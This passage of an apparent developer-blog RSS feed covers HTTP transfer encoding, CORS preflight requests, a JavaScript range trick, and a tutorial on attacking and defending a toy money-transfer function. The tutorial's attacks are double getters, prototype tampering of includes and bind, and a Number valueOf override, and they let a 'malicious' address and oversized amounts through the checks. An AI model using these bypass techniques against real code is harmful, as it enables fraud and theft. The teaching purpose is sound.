  { gzip, length, identity } = {
    gzip: false,
    length: false,
    identity: false,
  }
) {
  // Use pathname so that in Developer Tools you can filter out the favicon.
  const url = new URL(&quot;big&quot;, &quot;http://127.0.0.1:8000&quot;);
  if (gzip) url.searchParams.set(&quot;gzip&quot;, &quot;true&quot;);
  if (length) url.searchParams.set(&quot;content-length&quot;, &quot;true&quot;);
  if (identity) url.searchParams.set(&quot;identity&quot;, &quot;true&quot;);
  return url.toString();
}

// Ignore if not running on your machine.
export function combinations() {
  const urls = [createURL()];
  for (const gzip of [false, true]) {
    for (const length of [false, true]) {
      for (const identity of [false, true]) {
        urls.push(
          createURL({
            gzip,
            length,
            identity,
          })
        );
      }
    }
  }
  return urls;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The content within the HTML files is not the focus; their substantial size is (AKA they&apos;re LARGE).&lt;/p&gt;
&lt;p&gt;These files are maintained in two versions: plain and gzipped. While it&apos;s generally not a recommended practice for real servers to adopt dual storage, here the intent is to avoid introducing additional overhead in the case of zipping.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Testing&lt;/h2&gt;
&lt;p&gt;I&apos;ll now test the server using Firefox, monitoring how response times vary with changes in the headers. If you&apos;re following along on your machine, make sure to disable the cache and consider checking the &apos;Preserve logs&apos; checkbox for a more accurate observation.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4evzk52b6mxczkuji1sq.png&quot; alt=&quot;Screenshot of Network tab showing what is descripted below.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Initially, we make a request without query parameters, letting the Node.js HTTP server handle it by default. The default &lt;code&gt;Transfer-Encoding&lt;/code&gt; observed is &lt;code&gt;chunked&lt;/code&gt;, aligning with the behavior of passing &lt;code&gt;?transfer=chunked&lt;/code&gt;. Node.js aims to be non-blocking, and this choice ensures smoother processing.&lt;/p&gt;
&lt;p&gt;Now, let&apos;s spice things up by passing the query parameter &lt;code&gt;?transfer=identity&lt;/code&gt;. This time, the request takes notably longer to complete.&lt;/p&gt;
&lt;p&gt;To remedy this, we introduce the &lt;code&gt;Content-Length&lt;/code&gt; header with &lt;code&gt;?content-length=true&amp;amp;identity=true&lt;/code&gt;, resulting in a significant reduction in duration. It&apos;s like mailing a package in one piece. Including the &lt;code&gt;Content-Length&lt;/code&gt; header is the friendly note that says, &apos;Hey, your package is this big!&apos;. Without it, the client might fumble guessing the size, leading to some awkward data processing moments.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;🔑 message
In &apos;identity&apos; mode, be a good server and always attach that &lt;code&gt;Content-Length&lt;/code&gt; header.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;As a final observation, we note that the presence of the &lt;code&gt;Content-Length&lt;/code&gt; has no impact when the transfer method is set to chunked.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;🔑 message
Not only there&apos;s no need for the &lt;code&gt;Content-Length&lt;/code&gt; header`, but &lt;strong&gt;using both is actually contradictory&lt;/strong&gt;.
In &apos;chunked&apos; encoding, the size of each chunk is self-contained, and a final zero-size chunk does the job of marking the end of the response.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Compression&lt;/h3&gt;
&lt;p&gt;When using the gzip-compressed resource, the behavior aligns with what we&apos;ve just explored. In the &lt;code&gt;identity&lt;/code&gt; transfer mode, &lt;strong&gt;it remains crucial to provide information about the content length&lt;/strong&gt;, regardless of the content encoding.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hkwri5znoh3gjuhoga08.png&quot; alt=&quot;Screenshot of Network tab showing what is descripted below.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now, let&apos;s talk about compression benefits and a trade-off. Opting for gzip compression offers two wins:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;it conserves disk storage on your server.&lt;/li&gt;
&lt;li&gt;it trims down on bandwidth usage.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;However, there&apos;s a catch - &lt;strong&gt;the browser has to roll up its sleeves and put in a bit more effort to decompress&lt;/strong&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;If you are interested in &lt;strong&gt;Web Performance&lt;/strong&gt; you definitely need to know about &lt;a href=&quot;https://dev.to/didof/the-art-of-efficient-web-browsing-public-resources-27hl&quot;&gt;&lt;strong&gt;Web Caching&lt;/strong&gt; (posts series)&lt;/a&gt;.&lt;/p&gt;
</content:encoded></item><item><title>CORS, Preflight request and OPTIONS Method</title><link>https://didof.dev/blog/cors-preflight-request-and-options-method/</link><guid isPermaLink="true">https://didof.dev/blog/cors-preflight-request-and-options-method/</guid><description>This post is intended to be a light reading with the purpose to give a minimum of context and instill some curiosity towards a topic often considered opaque - CORS are a simple HTTP-header mechanism that every web developer can easily understand.</description><pubDate>Sun, 10 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;First, you need to be aware of the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy&quot;&gt;Same-origin Policy&lt;/a&gt;. It is a &lt;em&gt;browser built-in mechanism&lt;/em&gt; which restricts how a script on one origin interacts with a resource on another.&lt;/p&gt;
&lt;h2&gt;Same-origin 🏠🏠&lt;/h2&gt;
&lt;p&gt;Let&apos;s start with the simplest case. Both the server that holds the resource and the client that requests it reside under the same &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Origin&quot;&gt;origin&lt;/a&gt; (&lt;code&gt;&amp;lt;scheme&amp;gt;://&amp;lt;hostname&amp;gt;&amp;lt;port&amp;gt;&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The server is exposed at &lt;code&gt;http://localhost:3000&lt;/code&gt; and responds to &lt;code&gt;HTTP GET /&lt;/code&gt; by returning an HTML file.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;For the sake of brevity, the code examples only show what I want to focus on. If something is not clear, use the various &lt;a href=&quot;https://github.com/didof/cors-post/tree/main/same-origin&quot;&gt;Accompanying source code (same-origin)&lt;/a&gt; you&apos;ll find.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;server.get(&quot;/&quot;, (_, reply) =&amp;gt; {
  reply.sendFile(&quot;index.html&quot;);
});

server.get(&quot;/me&quot;, (_, reply) =&amp;gt; {
  reply.status(200).send({ nickname: &quot;didof&quot; });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The HTML arrived on the client asks the server on the same origin for the resource associated with the route &lt;code&gt;/me&lt;/code&gt; and shows the nickname on the screen.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;Nickname: &amp;lt;output&amp;gt;&amp;lt;/output&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;script&amp;gt;
    // This runs on http://localhost:3000
    fetch(&quot;/me&quot;) // fetch(&quot;http://localhost:3000/me&quot;)
    .then((res) =&amp;gt; res.json())
    .then((res) =&amp;gt; {
        document.querySelector(&quot;output&quot;).textContent = res.nickname;
    });
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The payload is accessible as same-origin policy is respected. No need for CORS, no need for preflight request.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Cross-origin 🏠🏭&lt;/h2&gt;
&lt;p&gt;Now the client is exposed on &lt;code&gt;http://localhost:8000&lt;/code&gt; while the server with the resource is exposed on &lt;code&gt;http://localhost:3000&lt;/code&gt;. Even if scheme and hostname are the same, the ports are different - therefore they are two different origins.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;In the real world, the following concept is found when the client on &lt;code&gt;https://mywebsite.com&lt;/code&gt; requires a resource to &lt;code&gt;http://api.foo.it/bar&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;br /&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/didof/cors-post/tree/main/cross-origin&quot;&gt;Accompanying source code (cross-origin)&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;&lt;code&gt;index.html&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;
// This runs on http://localhost:8000
const request = new Request(&quot;http://localhost:3000/me&quot;, {
  method: &quot;GET&quot;,
});

fetch(request)
.then((res) =&amp;gt; res.json())
.then((res) =&amp;gt; { ... })
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can guess, you have a &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#preflighted_requests&quot;&gt;CORS&lt;/a&gt; error.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/66trncnx3tiriqw9hiva.JPG&quot; alt=&quot;Access to fetch at &apos;http://localhost:3000/me&apos; from origin &apos;http://localhost:8000&apos; has been blocked by CORS policy: No &apos;Access-Control-Allow-Origin&apos; header is present on the requested resource. If an opaque response serves your needs, set the request&apos;s mode to &apos;no-cors&apos; to fetch the resource with CORS disabled. GET http://localhost:3000/me net::ERR_FAILED 200&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The error in the console clearly explains the problem. Let&apos;s fix it. On the server, we manage CORS.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;server.register(fastifyCors, {
  origin: &quot;http://localhost:8000&quot;,
});
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;I use &lt;a href=&quot;https://www.fastify.io/&quot;&gt;fastify&lt;/a&gt; here, but any framework offers its own way of managing CORS. It&apos;s just headers added to the response, nothing more - you can of course append them manually.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Now, the response will include the &lt;code&gt;access-control-allow-origin&lt;/code&gt; and the value will be &lt;code&gt;http://localhost:8000&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/goec10sqsflv8h8qrjlx.JPG&quot; alt=&quot;access-control-allow-origin: http://localhost:8000&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The server is basically giving permission to the browser which issued the request to unfold the response.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Preflight Request 🏠✉️🏭&lt;/h2&gt;
&lt;p&gt;There are two types of CORS request:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Simple request&lt;/li&gt;
&lt;li&gt;Preflight request&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Which is used is &lt;strong&gt;determined by the browser&lt;/strong&gt;. Up to this moment the client has carried out &lt;em&gt;simple requests&lt;/em&gt; because they fit the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests&quot;&gt;criteria&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For the purpose of this post, you only need to know that to force the browser make a preflight request you just need to add to the request a &lt;strong&gt;custom header&lt;/strong&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/didof/cors-post/tree/main/cross-origin-preflight&quot;&gt;Accompanying source code (cross-origin-preflight)&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;
const headers = new Headers();
headers.append(&quot;X-CUSTOM-HEADER&quot;, &quot;foo&quot;);

// This runs on http://localhost:8000
const request = new Request(&quot;http://localhost:3000/me&quot;, {
  method: &quot;GET&quot;,
  headers,
});

fetch(request)
  .then((res) =&amp;gt; res.json())
  .then((res) =&amp;gt; { ... })
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And that&apos;s enough for the browser to fire two requests instead of one.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9je3b8x0lxt8v6cobeh7.JPG&quot; alt=&quot;request 1 = localhost, request 2 = me (preflight), request 3 = me (actual request)&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The method used is &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/OPTIONS&quot;&gt;&lt;code&gt;OPTIONS&lt;/code&gt;&lt;/a&gt;, which is interpreted by the server as a query for information about the defined &lt;code&gt;request url&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The browser also appends some headers to the preflight request. &lt;code&gt;Access-Control-Request-Headers&lt;/code&gt; and &lt;code&gt;Access-Control-Request-Method&lt;/code&gt; with their relative values.
&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/agasceg6vhmuv75ymziy.JPG&quot; alt=&quot;Access-Control-Request-Headers: x-custom-header, Access-Control-Request-Method: GET&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The browser is asking permission to the server to make a &lt;code&gt;GET&lt;/code&gt; request which has among the various headers also a certain &lt;code&gt;X-CUSTOM-HEADER&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This particular server, configured to be extremely permissive, responds with &lt;code&gt;access-control-allow-headers&lt;/code&gt; whose value mirrors the requested one and &lt;code&gt;access-control-allow-methods&lt;/code&gt; which tells that all methods are allowed.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/zxn7rxilrcei0pweldkr.JPG&quot; alt=&quot;access-control-allow-headers: x-custom-header, access-control-allow-methods: GET,HEAD,PUT,PATCH,POST,DELETE&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It&apos;s giving a big thumbs up 👍. The browser then can perform the wanted request.&lt;/p&gt;
&lt;p&gt;Obviously, if for some reason the server was instructed not to allow the presence of the custom header you would get an error.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3u4ga92b03q8u39idqrl.JPG&quot; alt=&quot;Access to fetch at &apos;http://localhost:3000/me&apos; from origin &apos;http://localhost:8000&apos; has been blocked by CORS policy: Request header field x-custom-header is not allowed by Access-Control-Allow-Headers in preflight response.&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;As mentioned, this is but a simple chat. If interested, below are some references to go further. I 💖 the H of HTML!&lt;/p&gt;
&lt;h2&gt;Resouces 🕳️🐇&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://auth0.com/blog/cors-tutorial-a-guide-to-cross-origin-resource-sharing/&quot;&gt;CORS Tutorial: A Guide to Cross-Origin Resource Sharing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy&quot;&gt;Same-origin policy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS&quot;&gt;CORS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch#supplying_your_own_request_object&quot;&gt;Fetch API&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/didof/cors-post&quot;&gt;Accompanying GitHub source code&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Penetration and Security in JavaScript</title><link>https://didof.dev/blog/penetration-and-security-in-javascript/</link><guid isPermaLink="true">https://didof.dev/blog/penetration-and-security-in-javascript/</guid><description>Are you sure you are ensuring your code to be used as intended? Are you preventing it from beeing used in a malicious way? If what comes your way is putting guards in your functions, this post will open up a world for you. Using checks is not enough.</description><pubDate>Thu, 07 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;This post got inspired by this &lt;a href=&quot;https://medium.com/intrinsic-blog/protecting-your-javascript-apis-9ce5b8a0e3b5&quot;&gt;Thomas Hunter II&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Index&lt;/h2&gt;
&lt;p&gt;You will be both &lt;strong&gt;wolf&lt;/strong&gt; and &lt;strong&gt;sheep&lt;/strong&gt;. I created the function below so that it had everything you need to learn &lt;em&gt;attack&lt;/em&gt; and related &lt;em&gt;defenses&lt;/em&gt; from the techniques:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Probing &amp;amp; Double Getter&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prototype Bribing&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Primitive Illusion&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The function is &lt;code&gt;Connector&lt;/code&gt;, which receives an &lt;code&gt;options&lt;/code&gt; configuration object. This must contain a property named &lt;code&gt;address&lt;/code&gt; which must be the same as one of those listed in &lt;code&gt;validAddresses&lt;/code&gt;, otherwise an exception is thrown.&lt;/p&gt;
&lt;p&gt;Once the connection with one of the valid &lt;code&gt;addresses&lt;/code&gt; has been established, the instance provides the &lt;code&gt;transfer&lt;/code&gt; method to move a certain &lt;code&gt;amount&lt;/code&gt; passed as input which must not exceed the value &lt;code&gt;500&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function Connector(options) {
  const validAddresses = [&apos;partner-account&apos;, &apos;investments&apos;, &apos;mutual&apos;]

  if (!options.address || typeof options.address !== &apos;string&apos;) _err1()

  if (!validAddresses.includes(options.address)) _err2(options, validAddresses)

  console.info(`Connection to address [${options.address}] enstablished`)

  return {
    transfer,
  }

  function transfer(amount) {
    if (!amount || amount &amp;lt;= 0) _err3()

    if (amount &amp;gt; 500) _err4()

    console.info(
      `Transfered an amount of [${amount}] to the address [${options.address}]`
    )
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Do not focus on &lt;code&gt;_err&lt;/code&gt; functions. Not important here.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The &lt;em&gt;happy path&lt;/em&gt; is the following:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const c = Connector({ address: &apos;investments&apos; })
// Connection to address [investments] enstablished

c.transfer(300)
//Transfered an amount of [300] to the address [investments]
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Probing &amp;amp; Double Getter&lt;/h2&gt;
&lt;h3&gt;ATTACK&lt;/h3&gt;
&lt;p&gt;Suppose you are a malicious user of the script. You want to send a sum of money to an &lt;code&gt;address&lt;/code&gt; not included in &lt;code&gt;validAddresses&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;A frontal attack is obviously blocked.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Connector({ address: &apos;malicious&apos; })
// The address malicious is not valid. Valid ones are: partner-account, investments, mutual
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Remember, while impersonating the hacker you are not aware of the code implementation!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;It is possible to send a valid &lt;code&gt;address&lt;/code&gt; in advance and count the number of times it is accessed. This way you can tell when it&apos;s the right time to - &lt;strong&gt;ZAC!&lt;/strong&gt; - turn it into the &lt;code&gt;malicious&lt;/code&gt; address!&lt;/p&gt;
&lt;p&gt;Build a &lt;strong&gt;probe&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let i = 0
const probe = {
  get address() {
    console.count(&apos;probe&apos;)
    return &apos;investments&apos;
  },
}

const c = Connector(probe)
// probe: 1
// probe: 2
// probe: 3
// probe: 4
// Connection to address [investments] enstablished

c.transfer(300)
// probe: 5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It&apos;s clear. Just change the fifth reading of &lt;code&gt;address&lt;/code&gt;; its validity is checked in the previous four readings. It is possible using the &lt;strong&gt;Double Getter&lt;/strong&gt; technique.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let i = 0
const doubleGetter = {
  get address() {
    if (++i === 5) return &apos;malicious&apos;
    return &apos;investments&apos;
  },
}

const c = Connector(doubleGetter)
// Connection to address [investments] enstablished

c.transfer(300)
// Transfered an amount of [300] to the address [malicious]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Thanks to this technique you have effectively bypassed the &lt;em&gt;guards&lt;/em&gt; of the initialization phase.&lt;/p&gt;
&lt;h3&gt;DEFENSE&lt;/h3&gt;
&lt;p&gt;The problem is that &lt;code&gt;address&lt;/code&gt; is repeatedly accessed. Even two would be too many.
But if it were just one, &lt;strong&gt;Double Getters&lt;/strong&gt;s could not fool the &lt;em&gt;guards&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;To access &lt;code&gt;address&lt;/code&gt; once, simply copy it to a variable. Since it is a &lt;code&gt;string&lt;/code&gt; it is &lt;em&gt;primitive&lt;/em&gt; - the new variable is a separate copy, without the getter.&lt;/p&gt;
&lt;p&gt;In &lt;em&gt;ES6&lt;/em&gt; you can use &lt;em&gt;destructuring&lt;/em&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function Connector({ address }) { ... }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Run the &lt;strong&gt;probe&lt;/strong&gt; and see that it actually &lt;em&gt;beeps only once&lt;/em&gt;. The &lt;strong&gt;Double Getter&lt;/strong&gt; threat is neutralized.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Prototype bribing&lt;/h2&gt;
&lt;h3&gt;ATTACK&lt;/h3&gt;
&lt;p&gt;You have to find a way to infiltrate the code. But they raised the walls - we need an infiltrator, someone from inside who for a moment, just a moment, pretends not to see.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;includes&lt;/code&gt; function is your man. Bribing it is simple:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const includesBackup = Array.prototype.includes

// bribe it...
Array.prototype.includes = () =&amp;gt; true

const c = Connector({ address: &apos;malicious&apos; })
// Connection to address [malicious] enstablished

// ...and immediately everything in the norm
Array.prototype.includes = includesBackup

c.transfer(300)
// Transfered an amount of [300] to the address [malicious]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Only during the initialization phase will &lt;code&gt;includes&lt;/code&gt; return &lt;code&gt;true&lt;/code&gt; indiscriminately. The discriminant guard &lt;code&gt;validAddresses.include(address)&lt;/code&gt; is effectively blinded and the &lt;code&gt;malicious&lt;/code&gt; &lt;code&gt;address&lt;/code&gt; can arrogantly enter through the front door.&lt;/p&gt;
&lt;h3&gt;DEFENCE&lt;/h3&gt;
&lt;p&gt;A wall is pulled around the &lt;code&gt;Connector&lt;/code&gt;, that is a &lt;strong&gt;block scope&lt;/strong&gt;. Within this you want to have your own copy of &lt;code&gt;Array.prototype.includes&lt;/code&gt; that is not corruptible from the outside and use only this one.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  const safeIncludes = Array.prototype.includes

  function Connector({ address }) {
    const validAddresses = [&apos;partner-account&apos;, &apos;investments&apos;, &apos;mutual&apos;]

    ...

    const isValidAddress = safeIncludes.bind(validAddresses)
    if (!isValidAddress(address)) _err2(address, validAddresses)

    ...
  }

  global.Connector = Connector // window if browser
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The same trick we used earlier this time will not work and the &lt;code&gt;_err2&lt;/code&gt; will be thrown.&lt;/p&gt;
&lt;h3&gt;ATTACK&lt;/h3&gt;
&lt;p&gt;With a little cunning it is possible to corrupt the &lt;code&gt;includes&lt;/code&gt; supervisor. This is &lt;code&gt;bind&lt;/code&gt;.
I recommend keeping a copy of the corrupt function to get things right as soon as the offense is committed.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const includesBackup = Array.prototype.includes
const bindBackup = Function.prototype.bind

Array.prototype.includes = () =&amp;gt; true
Function.prototype.bind = () =&amp;gt; () =&amp;gt; true

const c = Connector({ address: &apos;malicious&apos; })
// Connection to address [malicious] enstablished

Array.prototype.includes = includesBackup
Function.prototype.bind = bindBackup

c.transfer(300)
// Transfered an amount of [300] to the address [malicious]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once again, you managed to evade the &lt;em&gt;guards&lt;/em&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Primitive Illusion&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;Connector&lt;/code&gt; instance provides the&lt;code&gt; transfer&lt;/code&gt; method. This requires the &lt;code&gt;amount&lt;/code&gt; argument which is a number and for the transfer to be successful, it must not exceed the value &lt;code&gt;500&lt;/code&gt;. Suppose I had already managed to establish contact with an &lt;code&gt;address&lt;/code&gt; of my choice. At this point I want to transfer a higher amount than allowed.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Connector#transfer
function transfer(amount) {
  if (!amount || amount &amp;lt;= 0) _err3()

  if (amount &amp;gt; 500) _err4()

  console.info(
    `Transfered an amount of [${amount}] to the address [${options.address}]`
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;strong&gt;Primitive Illusion&lt;/strong&gt; technique achieves an effect similar to the &lt;strong&gt;Double Getter&lt;/strong&gt; but in other ways. A limitation of the &lt;strong&gt;DG&lt;/strong&gt; technique is in fact that of being applicable only to variables &lt;em&gt;passed by reference&lt;/em&gt;. Try to implement it for a &lt;em&gt;primitive&lt;/em&gt; - &lt;code&gt;Number&lt;/code&gt; for example.&lt;/p&gt;
&lt;p&gt;I find it more functional to modify &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/valueOf&quot;&gt;&lt;code&gt;Number.prototype.valueOf&lt;/code&gt;&lt;/a&gt;. This is a method you will probably never need to call directly. &lt;em&gt;JavaScript&lt;/em&gt; itself invokes it when it needs to retrieve the &lt;em&gt;primitive value&lt;/em&gt; of an object (in this case, a &lt;code&gt;Number&lt;/code&gt;). Intuition is more likely with an example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Number.prototype.valueOf = () =&amp;gt; {
  console.count(&apos;probe&apos;)
  return this
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;this&lt;/code&gt; in the case of &lt;code&gt;Number&lt;/code&gt; represents the same number passed in the constructor.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;You probably recognized it, it&apos;s a &lt;strong&gt;probe&lt;/strong&gt;. You test different operations on an instance of &lt;code&gt;Number&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const number = new Number(42)

console.log(number)
// [Number: 42]

console.log(+number)
// probe: 1
// 42

console.log(number &amp;gt; 0)
// probe: 2
// true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you guess on the fly, the &lt;code&gt;valueOf&lt;/code&gt; method is invoked when &lt;code&gt;primitive value&lt;/code&gt; is expected - as in the case of a mathematical operation. At this point all that remains is to insert the &lt;strong&gt;probe&lt;/strong&gt; into the &lt;code&gt;transfer&lt;/code&gt; method.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;c.transfer(number)
// probe: 1
// probe: 2
// Transfered an amount of [42] to the address [hacker-address]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The two logs of the &lt;strong&gt;probe&lt;/strong&gt; correspond precisely in &lt;code&gt;amount &amp;lt;= 0&lt;/code&gt; and&lt;code&gt; amount&amp;gt; 500&lt;/code&gt;. At this point you realize that you don&apos;t need to swap the value for another at some point - you just need to return a value that satisfies the above conditions when &lt;code&gt;valueOf&lt;/code&gt; is called.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Number.prototype.valueOf = () =&amp;gt; 1
const number = new Number(100000)

c.transfer(number)
// Transfered an amount of [100000] to the address [hacker-address]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Again, you managed to get what you wanted.&lt;/p&gt;
</content:encoded></item><item><title>Built-in-like Range in JavaScript</title><link>https://didof.dev/blog/built-in-like-range-in-javascript/</link><guid isPermaLink="true">https://didof.dev/blog/built-in-like-range-in-javascript/</guid><description>Make it possible to generate any range of integers with built-in-like syntax.</description><pubDate>Wed, 06 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Motivation?&lt;/strong&gt;
Honestly, none. Zero. Except for fun &amp;amp; study.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;Basic functionality&lt;/h2&gt;
&lt;p&gt;You start by overriding the &lt;strong&gt;prototype&lt;/strong&gt; of &lt;code&gt;Number&lt;/code&gt; with itself, but &lt;em&gt;proxed&lt;/em&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Object.setPrototypeOf(
	Number.prototype,
	new Proxy(Number.prototype, {
		// ...
	})
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this way, any normal operations related to the prototype are not lost.&lt;/p&gt;
&lt;p&gt;In the proxy you listen for access to any property via a &lt;strong&gt;getter&lt;/strong&gt;. The third argument (&lt;code&gt;receiver&lt;/code&gt;) is the &quot;object&quot;, in this case the number itself - you call it &lt;code&gt;start&lt;/code&gt;. It&apos;s already the right type, &lt;strong&gt;number&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The second argument corresponds to the &lt;em&gt;name of the property&lt;/em&gt;, its &lt;code&gt;typeof&lt;/code&gt; is indeed &lt;code&gt;string&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Object.setPrototypeOf(
	Number.prototype,
	new Proxy(Number.prototype, {
		get(_, _end, start) {
